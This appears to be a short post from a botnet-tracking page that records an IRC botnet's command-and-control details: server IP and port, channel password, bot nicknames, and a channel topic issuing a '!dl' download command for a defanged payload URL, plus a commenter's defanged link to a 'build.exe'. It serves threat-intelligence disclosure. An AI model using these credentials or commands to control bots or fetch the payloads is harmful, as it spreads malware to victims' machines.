Thanx to loadx for finding this botnet.
92.48.86.88:81PASS adobe2.tmp
NICK n[USA|XP]339728
USER 3397 “” “win” :3397
JOIN #s jobs
Now talking in #s
Topic On: [#s ] [ !dl hxxp://www.divshare.com/direct/24632542-a3c.tee ]
Topic By: [ x ]
hosting infos:
http://whois.domaintools.com/92.48.86.88
Anonymous - October 16, 2013 at 10:41 pm
Here is one hxxp://whel2.com/new/build.exe